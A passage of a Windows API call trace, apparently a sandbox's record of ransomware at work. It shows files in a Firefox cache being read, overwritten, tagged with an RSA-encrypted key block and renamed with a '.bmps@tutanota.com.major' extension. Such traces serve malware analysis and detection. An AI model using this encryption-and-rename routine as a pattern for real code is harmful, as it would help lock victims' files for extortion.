pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0280.086] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="CuZSxbqiIALe+FLnIOWo7vWbonR7/DDmOFO4uCNtY4+4xDHSQ8Jw6bazCiPp7wXL\nVgwdYIDF0xfGi6zrGG9UabjITLY2fOAZHh+Ka2S/Sz75oAiwpY6XwcYAQPPDhHZH\n4unaJVtJWqUczfh9q1uLuhXr/Ph5MZBbcKKX1XJ2DQW+gaKj9CYCxH6KPany725K\nEaY3ahbYHPLDzMN6UfeboNtfIL1LDksDLF2gCo31EHXqTq1XRg4b3pudLPmUi2+j\nP/89c+f2cI7wWquBjzOG971Y+CWK+iG6twA/mt68Nk1ZfWU5rmp8cPMxkxd2G3ZF\no+V66KMtdlQ/g/3950hHkQ==\n", pcchString=0x2e3f9a8) returned 1 [0280.086] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0280.087] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0280.087] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0280.087] CloseHandle (hObject=0x1b84) returned 1 [0280.087] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\43A641B524487AFDAC7A8AF548EE196228BF6EAE" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\43a641b524487afdac7a8af548ee196228bf6eae"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\43A641B524487AFDAC7A8AF548EE196228BF6EAE.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\43a641b524487afdac7a8af548ee196228bf6eae.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0280.089] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0280.089] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\407EB4DE353DE3AD4E1A29F0E0E84F65C2CE6E3A", dwFileAttributes=0x80) returned 1 [0280.090] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f3e850, nNumberOfBytesToRead=0x6b5, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesRead=0x2e3f9b4*=0x6b5, lpOverlapped=0x0) returned 1 [0280.091] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1717, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.091] WriteFile (in: hFile=0x1b84, lpBuffer=0x313e810*, nNumberOfBytesToWrite=0x6b5, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e810*, lpNumberOfBytesWritten=0x2e3f9b4*=0x6b5, lpOverlapped=0x0) returned 1 [0280.091] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x6b5 [0280.091] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0280.091] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0280.092] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0280.092] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0280.092] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0280.092] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="y4Xi/MxxPxcG2TDv913kT7EajJHWjWBIBo+DNVgSoaN5yCZE/vIMsRrpP6uiZsNK\nixK5RMPqtckZyk+U39pP4ckHHIbF+obO4jUpk8yb2fXoHU5+XJYk/oC1F837ZZ4n\ntoQL69BfD7whhhsT9LOGlDY8JvbGPSD4VxjvievdlV9wJCI4w8ZJoZ8UBqBCue9E\nDcbXtz6g9a8Ahku7BUEPnc+aAFEHPs6u4JxXzBvjwkETTGHTTTACVae4eAyB6nCD\nnU9ZK/sfdjO/DxhU5VxDxgeN6qOu3LId5c0qUabugXQzsFGYs90fmqI7MCB5QKZ+\nlEL2Kh2f11isJO3tBSXogA==\n", pcchString=0x2e3f9a8) returned 1 [0280.092] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0280.092] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0280.092] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0280.093] CloseHandle (hObject=0x1b84) returned 1 [0280.093] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\407EB4DE353DE3AD4E1A29F0E0E84F65C2CE6E3A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\407eb4de353de3ad4e1a29f0e0e84f65c2ce6e3a"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\407EB4DE353DE3AD4E1A29F0E0E84F65C2CE6E3A.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\407eb4de353de3ad4e1a29f0e0e84f65c2ce6e3a.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0280.095] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0280.095] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4041F3B87A7EBA953DFE4576B8DB14478B01F9A4", dwFileAttributes=0x80) returned 1 [0280.095] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1a4c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1a4c, lpOverlapped=0x0) returned 1 [0280.317] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-6732, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.317] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3aa80*, nNumberOfBytesToWrite=0x1a4c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3aa80*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1a4c, lpOverlapped=0x0) returned 1 [0280.317] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1a4c [0280.318] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0280.318] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0280.318] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0280.318] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0280.318] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0280.319] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="mrrlnVpviNizJnPReUgVeiymwNY8MRWmQkukFsf5Q33iRJ5HzgdeaoZxJrM3Izpr\nh97wHMnT721QbWmuWNUck7qH18BifemTZN2s4Qe7ZfE8q2gI4iBtB/a0ojg31F0l\n0OwZZV+TtYic6wWS6znnxEJQ4dJlvG+e2vJNXlQPDv6a2O9c1VcA/Syi463JgEGD\n3LB2fCw1tzevIrIu8aiwZkwcfkpgcLqMnh3EK1gMz4qrm9vXM5rzpwPtckgVglA8\nc3EmUhfYJ84fhias535z5j96jepnVcyB5L+9dWy1NJ/SfjkfNLPrBb+VHYa3wd9E\nu5lyOJmVY2CkzGBsWqnxZA==\n", pcchString=0x2e3f9a8) returned 1 [0280.319] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0280.319] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0280.319] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0280.319] CloseHandle (hObject=0x1b84) returned 1 [0280.319] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4041F3B87A7EBA953DFE4576B8DB14478B01F9A4" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4041f3b87a7eba953dfe4576b8db14478b01f9a4"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4041F3B87A7EBA953DFE4576B8DB14478B01F9A4.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4041f3b87a7eba953dfe4576b8db14478b01f9a4.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0280.321] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0280.321] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3FD2DE34D9F3B37F5EE298934463B811B5F45B88", dwFileAttributes=0x80) returned 1 [0280.322] ReadFile (in: hFile=0x1b84, lpBuffer=0x343b820, nNumberOfBytesToRead=0x57af, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesRead=0x2e3f9b4*=0x57af, lpOverlapped=0x0) returned 1 [0280.398] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-22447, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.399] WriteFile (in: hFile=0x1b84, lpBuffer=0x3540048*, nNumberOfBytesToWrite=0x57af, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3540048*, lpNumberOfBytesWritten=0x2e3f9b4*=0x57af, lpOverlapped=0x0) returned 1 [0280.399] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x57af [0280.399] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0280.400] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0280.400] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0280.400] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0280.400] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0280.401] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="3WrIMiwU60QBZKPGmXWbi+UrTz9KCmOONX/b3VberJkjV1KB9jLlKZHTQtaMjMcP\nV5l9aZIc41TPKUMWqHglamYj9ZuZ5E4b6oTvwVEG+4SN9LEGYWm9AOqxpRkN4cUd\n/OVe9zvCHi3+5TUHzpWqtcg42i82+jNhnV/clNlGEjicDPTVTPE1Ppel92HjLNg4\nA3PiCWVP5r8WNm7aUaZRWSBvpVa7Ob2LXlF7/zmDGBvgRkFHQ5DE6ElADZ1RKdKr\naDI/Jc/GI/n5QoHSs/sx2YunSgLr5RVdtY0ZY+wc00Bc1LX/cALiioEqLmE8DOQB\nQrg0arAYqxhGkigcLsCVoQ==\n", pcchString=0x2e3f9a8) returned 1 [0280.401] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0280.401] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0280.401] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0280.401] CloseHandle (hObject=0x1b84) returned 1 [0280.402] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3FD2DE34D9F3B37F5EE298934463B811B5F45B88" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3fd2de34d9f3b37f5ee298934463b811b5f45b88"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3FD2DE34D9F3B37F5EE298934463B811B5F45B88.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3fd2de34d9f3b37f5ee298934463b811b5f45b88.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0280.404] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0280.404] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3E98EE3664479D9428247C5B706A39C5F495B7AE", dwFileAttributes=0x80) returned 1 [0280.405] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1100, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1100, lpOverlapped=0x0) returned 1 [0280.424] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4352, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.424] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3a130*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a130*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1100, lpOverlapped=0x0) returned 1 [0280.424] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1100 [0280.425] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0280.425] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0280.425] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0280.425] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0280.425] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0280.425] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="DYeuvhzkA7Ya2+Wg5aw0+ipFYpqELymvbPs85561Abl7RZ0o/RAtNhjz0lIko2BY\nZmzH+4e7Qp3A9NfqC2wGSB85plovw+zLhlI/amBlden6ZGHgYxf2QUkDREXxQ+pU\n/UodyL45nct6RIUawBtH/5PAmwQTnJfgiTy9YUvg13C9I8Sh2rrEvnAbRg6sAyZk\n0aNvI2j3gAPrzCPs7ZMOw505UVbGo0lYO5bIxgbIGDloH9olXf1Hnqqc7DzT7rgj\n4Zf8uI1I/xhK+ZiPLFmNUV+qPyNWxnUaAvyirZUuFXXIuFJvw/XMCiUhoW949JsW\n5pAGHZb4LF0kUCJhAVUJQw==\n", pcchString=0x2e3f9a8) returned 1 [0280.425] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0280.426] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0280.426] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0280.426] CloseHandle (hObject=0x1b84) returned 1 [0280.426] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3E98EE3664479D9428247C5B706A39C5F495B7AE" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3e98ee3664479d9428247c5b706a39c5f495b7ae"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3E98EE3664479D9428247C5B706A39C5F495B7AE.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3e98ee3664479d9428247c5b706a39c5f495b7ae.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0280.428] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0280.428] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3E96AE69B2C845D9D81E26B170F62BCD71497329", dwFileAttributes=0x80) returned 1 [0280.428] ReadFile (in: hFile=0x1b84, lpBuffer=0x343b820, nNumberOfBytesToRead=0x97bb, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesRead=0x2e3f9b4*=0x97bb, lpOverlapped=0x0) returned 1 [0280.487] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-38843, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.487] WriteFile (in: hFile=0x1b84, lpBuffer=0x3540048*, nNumberOfBytesToWrite=0x97bb, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3540048*, lpNumberOfBytesWritten=0x2e3f9b4*=0x97bb, lpOverlapped=0x0) returned 1 [0280.494] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x97bb [0280.494] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0280.494] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0280.494] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0280.494] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0280.495] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0280.495] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="rsnCIK0FMoZEFfEELnj1RcJlT5BuyRfB6sVD7tpRJnNJ1TB1n+OZxaw0a3HX8IHr\n3+33aZVX9X3A8+VST4HigynTYydBxBbXO0yCohbz/IJOEPRwtIXHbZpVmlCa5wjp\nKpTVWq3HykFxxjW8mUdkOLQTlBHTq7eZmdVg+LWPs6ZotAfGUy/ep0pdyxcbDOp6\nnNihuOGXR6y4EAPzpWRc+LE54Myj2HeCOt0APwP52pKvi8+HR9MupjXwP0bWH8gv\ne9SHXlTN4I+bs9n+kVev4p3STfEbqh5qHQpZL1zF8/nKMR9Gj482SUTgQKB9KAQv\nmjjg0t1zyvq1qX2fcwN4TQ==\n", pcchString=0x2e3f9a8) returned 1 [0280.495] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0280.496] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0280.496] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0280.496] CloseHandle (hObject=0x1b84) returned 1 [0280.496] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3E96AE69B2C845D9D81E26B170F62BCD71497329" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3e96ae69b2c845d9d81e26b170f62bcd71497329"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3E96AE69B2C845D9D81E26B170F62BCD71497329.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3e96ae69b2c845d9d81e26b170f62bcd71497329.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0280.632] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0280.632] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3E538CAC2C914514ECC5B580E31B0737FF540EB1", dwFileAttributes=0x80) returned 1 [0280.633] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x2b52, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x2b52, lpOverlapped=0x0) returned 1 [0280.718] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-11090, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.718] WriteFile (in: hFile=0x1b84, lpBuffer=0x343b820*, nNumberOfBytesToWrite=0x2b52, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2b52, lpOverlapped=0x0) returned 1 [0280.719] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, 